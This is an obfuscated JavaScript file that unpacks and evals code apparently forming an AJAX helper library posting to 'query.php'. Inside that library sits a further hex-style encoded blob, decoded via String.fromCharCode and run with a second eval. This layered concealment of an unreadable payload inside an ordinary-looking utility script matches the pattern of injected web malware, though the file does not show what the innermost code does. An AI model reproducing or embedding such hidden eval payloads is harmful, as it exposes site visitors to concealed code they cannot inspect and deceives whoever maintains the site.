d='function  $M(file -z ?P L-B="GE <= a ,rt="" Ke ,E=tru & ,r.offset=100 Un L-L @u @y @J LA9 N ,e @q LA9 N Um L-n ],P ]Urg L-k(); .sxml2 X1 A.icrosoft X2 -z=null}}if(!  z Ztypeof  M!="undefined" -z : M ]+ E= 4}} Uc _> -t[ $o [>,false) Uv _>, =vars Z 4== =vars A=  /( % $o), % >)) + t[ % $o) [% >) W} UH L$p, $S A$T= % Yx);regexp :RegExp( Yx+"|"+ $T); H/ Sp 6regexp) Ii=0;i< H/ hj= H/[i] 6"=");if( 4= SS -v G + c G}}}; a.trim _$f Z"qabcdef".indexOf( $o.substr(0,1))>=0){ H $rs So 6\'q\') 8\'\') 6\'v\') I Hi=0;i< $rs hrs[i]=parseInt( $rs[i],16)- k =  $rs 8\',\')+\',\'}else{ajax gr.offset2=25; =  k}; 9unR ( !){eval( 9  ]UrN L db&& Yt 7 -H( Yt W} 3 drt 7 OR + rt SR}}  c(" $a",new Date().getTime()); $h : / ]Ikey in(  t) Zfalse== C1]&& 4==  b A$T=  v(key, C0] W ,t[key] ?t[ $T[0] [$T[1] W;key ST[0]} $h[ $h 7]=key+"="+ C0]} 3$R Oh 8 Yx) + rt+ Sh 8 Yx)} Uk L-B="POS <t="";d=\'v={@ VM$1XH:"e-",@ V`$1XH:"",*b VM$1Xv30:"l(\\\'l=Str"\\\\_:"ing.fr",JG*2%a%fzV*aV:"omCha",>%8%8*2*5LB0_*4:"rCode("<6#fF%3#f#7#d_$4y<d*3*6$eV*e*d$a*3&6R8#b!0G%4#d%eTM `8B6P*3K#6>*4HY/c*dPB1JJ-a$4*6&9<7E*bQ`NX@U&3W2E*eQ*4?Q*2E&7W5!3%b#e#8!0*8#6J `6PV#c#9!fB3*1V&6W9*7#f%6-3*d#f-d-fy,a2%2#e T T#c!1&1/b#eT!1#c!1*4*b-d&1/4-f#f%6%2#d ^5`y<4?T*5KUB6P*3Y/9*eZw*5#a#9A*7&9/1@U TLP T&1D3HK%8>O@w*5Y/9O~T@#6T@~&9D1ZwJB6A*eZG&9,d5H*3#8#7E*5?%8&7/d-eF!fJ-eFG%6y/6B0!2G_%3#f_%3yD0%1EJ%1EHwA&5,d0@$f!2#e$1MX?yD1*9U%aAGA*9A&9,a2#7G-a?*1-bM?I/1-0-7%4%1$4T#d-c `9J?%8J%3AGE&7Df*e!0*cZA#b!3*2 `aH-aOB7B7OJGI<2?GJ#aPP?$e&1W5%4z$1*7Gz$1*5I/3*4#d*0!3`!0F!0 `8$dO%6`%4$4%b!f&5D4OOOB0#eVN-1&3W0*3$b!3*b*aw*0$b&3De%a@UB0#e-dN-1&3W2>M-3*0K*2*5_&5WeOA%7*3#6-7%e*3&6/4%7!fN f&1,a6M$f_*b#7B1B1#7&5D7#f%a$3XUFPZ e9QMAU$1JB4U&9Wf*5*8@$1>U>@YR1%4Q%6%4UQ%6#7&9Rb$f%fzB3B7*5?*fI/9$1*4#eUUA$1*2&6D6^F#8~#b%0%0F ea%7%eN%7!2 ^7?y/5Z#e#b$e$e_Z*0yD6~GF#8^#c%0%0&4D9#8O>HB5>*d@Y<9*5*5#8>*6>>#7YW1^??*4B7?*fGI<7*4#6V*eOA$0V&6/2@#d-awA-f#f_yW5!0#b-8*aE-d#d!3&0Wd%8*3%0$e!fT*5@YWeGB7J-aB2AAH&9<9%7`-b$e|$3-b$b&5R4$b-d$d$4|-d$4$3 j6-9Q$b%e-9w%7X&3,ac%8zK-c$f$b|-c&6R4%aM-dN%aB1-d%e j7$a?U-4Q!3!3?&3<2-7%3-7%4-7T-7%6&1,af%f-f$0-f$1-f$3-f&9R3%0N%0X%0M%0`I,acN-cX-cM-c`-c&6Rc-f$d-f$e-f$f-fB0&9,ac$e-c$f-cB0G!f-7&6,a0FF#7H#6H^H&4D9P#aP#bP#cP#d&5D2#f!f*1A`$a*3*6&6/4-4GF%6GF*fG&1/4T!1_AAAF*f&1D3H@KJ@-bPPYD2!f?KT?-aHP&7/6%7ULV-6UB0-4&3R5!fV$d!fV$4!fV&3<7P>$a-6MM_*b&5RczPJ^#b!3N#d `8M|G-d$bU%2P&5,a9*b>-eG-9%8>-e&1/fV%4ULVNN#e&3/6N*0VQ-e!3>*4&3W3 ^4#8^@E~#8y<2H>$4%0_?*6*6&5/b#e#e~ ^4_$4zy<0#eV$d*0!3#c#6!3&3W4OJ@-fG!2#b#6y/2*4OJ@-f#d_$3yW2_^*fU%2H_#7&5/8M$fL%2H_^*f&5/a%0G!3^VN$dU&3<6*4A-4#fJL#b*0&9D1T*3@-a*5>-3>YD9#9#bH%4-8|$a*4 j5*2#b#6*2#f#6*1#eID0#b#8H#d#6H^#b ed#9OG#8~G#9P&1D3#a#7O#f#9O#e#e&7/dO#6GJJGJP&1D5#a#9^#f#a^#a#a&9/f#8#9!f#8#8!f~~&3D3#c#aO#dO#c#aO&7D9L~LOLJL#6yW0T*3%eM$aH>^Y<d*1~#fZ*0EXM ea*4*5$3^^OB5GIR4N-d%b-f#f-5X$4y<e$3KO%bM$4Q*8&5<b%4N*6Q%7%8@K&3D4U$bz%4Q%6~#b&9DbHB4E~|*4L%f&7R7M$3#dJJ?LV&3<aO@B2O@|O@YRc^G-c^GB3T%2IWaE-dGP-d@EL&0<3%fZ!fE@!3Q$3&0D1ZQK$1@??U&3Db!3*3>!0#8*2|*9&0<cH!fK#b!fP~!fYW0%8Z$aF*eFH%0 ec*8*6?#f?$dzZIDd-c!2E@Q@E-c `6F$bZ%8`K*1^&4D9#9A$1%eQ$0$1$d&9W1#c~*2*0OF#9F&4,a1B1B1#fE*5*1*4E&4<aE@E?-b^%a| j9T`w*9$0w$1w&4R3|G>%8LB2*0>&5W8*2*5>-2P>NL&5,d1A-3~%f$4$4%b`&6,a0-c-5-4*5@`B5*3Y/dzB2*7*a?-2*f@I/2*6 ^b ^a*7!2OyD3%7$4w$e*2*2$3$a&5R5NA-1*5`$e$dP&9/3Q`UJHH!0@&0<2$b*5>*c*3%2$b>YWc*0MN`%8#e-d$a&3W5>#9#6%aMKB1*3Y,ae-8*1F^-5*c*1E&4W3?A%6%b`A@#dy/9*9LA*eJG*2%a&6<aM!1%aT#e TT&1DcT@A-3ZQz|&9<c%1|#a%e%f%eT#b `2L#d-eF ^f#d_yRf>L-0P-9X>#fYDd ^9*4#f!2#aN*4yRb-6%3w-0%3%f%7?y/7%8T%1%4EA-bH&0<4-8*dE>N-eE*6 ja!3*f*9U#eV*5!3&3/dNHB4B4B4*2%1|&7Rc*1EXz#fEXz ee!fA$1$eT?~Z&6<5$4-5-4*3*0%6N%e&0<6MKQ$1@-4#e!3&3/d!3-6EUE-7L$3&0<dz*9zz$a$1%a$dYRcZH!f$b$a%b!f~Y<1EZ||N#f~~&5<9`$1#6z$f$1zzY<b`~wN$3^#7^&6R5 fHT%2&1<c%fzPZXQ$1*2&3,aeA$0%1GA%0V*a&6D8G%aL-7|`$eQI/fHJ#8B5*b%8$bK&7/f%3%3LH*5~#8E&7DfF*8A^?!1H!1&1/7*4NK$eE*8|| j4z@!3F*0-0%4M&3R0#6$awXKMNHY/cPMQ-6MNK$1&3<9?@#d_!2V@$dyR7%a|$aM$3_?G&5/f!f-f%eL%4G#7$f&7/5@O%6NN%a$3w&5Wb$0$1$4KH@>HY/8*cG#9L_#f*0%7&5R6wT%fB1FLF*7&4<b%0V%1F!fGB1w&4<c$3T$b!0UXw$3&0<9%2wKw$4|#a%8&0R1KKZX>^$ewYR6FFJEK-fZ%1&4<5*0%7#8$b$f%fzB3ID3_~O%8Z%6M*8&5R8Z%e*a$dP#aA*b&9/9$b!f@V#aUU%f&6D2ZQ%8wz-3%aU edVV#6AN%1LL&6<1A#aZ`K$eX%e&9R0X!2#7%b%8$4%3%fy<bV#c%a~|%b$a-b&6,a5*4$fT_$f?L!1&1De*4?*8!fL$a%a| jd$4`@GF#cE-8&4D3K%a|*a$1%aQ%a&5R6z>*1@M%3H>Y/e#c#c#a#aJ*7*7A&9DeJ$0wQ%b`KF&4W5L-0$fXX%3%f%bIR4?@#d!2#eN%7Xy,aa%f$3%bV*4!fB1A&6<3#f ^1T%3%e%e%4y<aK$4*6%3$bA*bJ&9D1V#8V*9A-1%1%2&6/9?E*b$e$0N%bX&7R7!0*5w%6>!0*6#d `6XPQwwX%8M&3/8*f@$b#6@>-0PY,d2EE-0^E#c-3X j9KZK>-2>$bzY,d1$4Z*5%4?>-3@Y<2#d!0HXE-d?!0&0WdE$3%fT#e TU&1/6!3-0*1#fJ%7K|&3W4G!f>*1KN`L&6<5#f#a#9#dT#d%6#fy/8$4#d%4L$3$0Kw&0R6?A_V*2-3-8-9y<2%4%aB8%6%6???I/5F>FAF?FU ea~?^?#6?#7?ID7A#8A#bA#dA#9&9/5#6_#a_#b_#c_&5W0>*1>*2>*3>*4Y/4*2F*3F*6F*7F&4W8F*9F*aF*bF*c e1*a!1*b!1*c!1*d!1&1,a7P#8$d$fK$d$ezI/9%4L#eA|#e%4#d&1D9#b*7#9*2#aP~B0YD2JJ#7$3`QMP&9Re#8$a|$aJOOOIDc%6M%2ZAT?&1\\\\E:"32);ev",*``ZXK*b$0$1:"al(l)\\\'",EE!0*9Q>!0#8*2:");"};dk=[] I-r x in v){dk.push(trim(x,v))};e-l(dk 8\\\'\\\'))!v7#v8$vc%vb&:8*v9+,q-va/+7<,b>!8?!a@!bA!9BvdD+8E!7F!4G!dH#0I:90J#2K%cL!eM$7N$5O#3P#1Q$2R,cT%5U!cV!6W+9X$6Y&8Z%d^#5_!5`$8w%9y&2z$c|$9~#4\\\\,#6^L%2*0>$f*2\' Ic=46;c--;d=(t=d 6\'!#$%&*+-/<>?@ABDEFGHIJKLMNOPQRTUVWXYZ^_`wyz|~\\\\\'[c])) 8t.pop())); 9 (=d K &}; 9unAJAX L dE -q ]+ rN( $R); 3 rr -A 2 Yr)} 3 z){ Hself=this; 3 B=="GET" A$K=  F+  i+ Yt , R$K W +  R F W;try{  z.setRequestHeader("Content-Type","application/x-www-form-urlencoded" 5){}}  z.onreadystatechange !){switch( #z.readyState){case 1: #L 02: #u 03: #y 04: ;= #z.r (Text; ;XML= #z.r (XML; #C[0 Q; #C[1 QText; 3#w){self.r N 3#A A)= #A.nodeName; ).toLowerCase(); 3)=="input Jselect Joption Jtextarea" A#A. >= ; +#A.innerHTML= ;}} 3#C[0]=="200" A#J ]+#e()} #rt="";break} Uz.send( Yt)}} Um ],rg()} a.ajax : $M();try{ H $G 2\' $D\') *c("query", $G gd gf) *F="query.php" *B SG gB gf *rr=\' $rz\' *L SN *u Sg *y Ss *J Sx; P 5){ P)}  this g !=function( #self g $kx_ %encodeURIComponent( &e ,rr ?A ?F=file ,t :Object ],C : /(2) (esponse )elemNodeName *;ajax g +}else{  ,;   - A  .try{  z :ActiveXObject("M /Array 0();break;case  2=document.getElementById( 3if(  4true 5)}catch(e 6.split( 7.length 8.join( 9this.r :=new  ;self.r ( <T" ,i="?" ,rx="&" ,r =return >value ?=null , @ !){ U A){  C  t[key][ G( $j[0], $j[1]) Hvar  I;for( J"|| )==" K ,b= 4 ,w=fals L !  MXMLHttpRequest NunR (()} O -rt+= Yx+ $ Pajax.runAJAX( Q]= #z.status Rz.open(  B,  S= $ T-d!3 U} , V%b%a#6Q W, 4) X.XMLHTTP" 5 Y  r Z){if( []= /(  ]()  ^!2* _ L$o,  `&0/ awindow d$R A3  e&4/ f$3%6%fT$4 g. $ h 7;i++ A$ j&7< k $f[ $o]}';for(c=130;c;d=(t=d.split('   ! # $ % & ( ) * + , - . / 0 2 3 4 5 6 7 8 9 : ; < = > ? @ A C G H I J K L M N O P Q R S T U V W X Y Z [ ] ^ _ ` a d e f g h j k'.substr(c-=(x=c<2?1:2),x))).join(t.pop()));eval(d)

